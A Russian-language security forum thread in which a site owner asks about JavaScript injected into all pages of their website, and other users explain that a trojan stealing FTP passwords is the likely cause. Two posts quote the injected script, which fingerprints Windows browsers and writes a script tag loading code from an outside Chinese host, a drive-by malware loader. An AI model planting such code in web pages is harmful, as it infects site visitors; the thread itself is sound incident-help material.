Появился странный javascript в html-коде.

**borber** · 16.05.2009, 09:52

Добрый день.
На всех html-страницах подопечного сайта появился javascript (прилагаю в текстовом файле). Как прописался - неизвестно, хостер не знает. Располагается между тегами </head> и <body>. Сайт сильно тормозил.
После первого обнаружения удалили, однако он через некоторое время появился снова, кажется, немного другого вида (первый, к сожалению, не сохранил). Удалили опять.
Может ли кто-нибудь сказать, что этот скрипт делает и куда что отправляет? Подозреваем, что надо менять логин-пароль доступа к сайту - правильно ли подозреваем?
Заранее большое спасибо.

Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

**Гриша** · 16.05.2009, 10:31

var a="ScriptEngine",
b="Version()+",j="",
u=navigator.userAgent;
if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(ty peof(zrvzts)!=typeof("A"))){zrvzts="A";
eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+ b+a+"Build"+b+"j;");
document.write("<script src=//****.cn/rss/?id="+j+"><\/script>");}

Этот скрипт редиректит на китайский ресурс, который сейчас не работает...
Раньше там сливалась зараза...

Может ли кто-нибудь сказать, что этот скрипт делает и куда что отправляет? Подозреваем, что надо менять логин-пароль доступа к сайту - правильно ли подозреваем?

Правильно, а еще лучше в Помогите по правилам

**borber** · 17.05.2009, 00:25

Сообщение от Гриша

Правильно, а еще лучше в Помогите по правилам

Так в Помогите вы компьютер помогаете спасать - а с сайтом что там делать? Или намекаете, что на нашем компе может быть что-то подсажено от китайцев этих?

**bolshoy kot** · 17.05.2009, 00:28

borber, это у Вас на компьютере программа, которая либо передает китайцам пароли к сайтам, либо вставляет к Вам на сайт код. Это делается путем чтения пароля FTP-клиента.

**borber** · 17.05.2009, 00:29

О! Написал предыдущее сообщение, посмотрел на сайт а там снова вот что:

Этот расшифруете? Заранее спасибо, идем менять доступ к сайту!!

**zerocorporated** · 17.05.2009, 05:56

Сообщение от borber

Заранее спасибо, идем менять доступ к сайту!!

Бесполезно. Если у вас Троян на ПК, то пароли тут же "уйдут" снова.
Вам в "Помогите!", а потом уже менять пароли/проверять сайт нужно.

Добавлено через 6 минут

Сообщение от borber

Этот расшифруете?

Код:

 var a="ScriptEngine",b=" Version()+",j="",u=nav%6 9gator.userAgent;
 if((u%2 eindexOf("Chrome")<0)&&(u. indexOf("Win")>0)&&(u.indexOf("% 4eT 6")<0)&&(document.coo% 6bie.indexOf("miek=1")<0)&&( typeof(zrvzts)!=typeof("A")))
 {
   zr vzts="A";
   eval("if(window."+a+" )j=j+"+a+"Major"+b+a+"Minor"+b +a+"Build"+b+"j;
   ");
 document.write("<script src%3 d//m"+"artuz.cn/vid/?id= "+j+"><\/script>");}

Если вам это как то поможет.

Появился странный javascript в html-коде.

Опции темы

Появился странный javascript в html-коде.

Похожие темы

Web страницы открываются в HTML коде.

Страницы открываются в HTML коде.

Страничка отображается в HTML коде

Страничка отображается в HTML коде

Браузер отображает страницу в HTML коде

Ваши права в разделе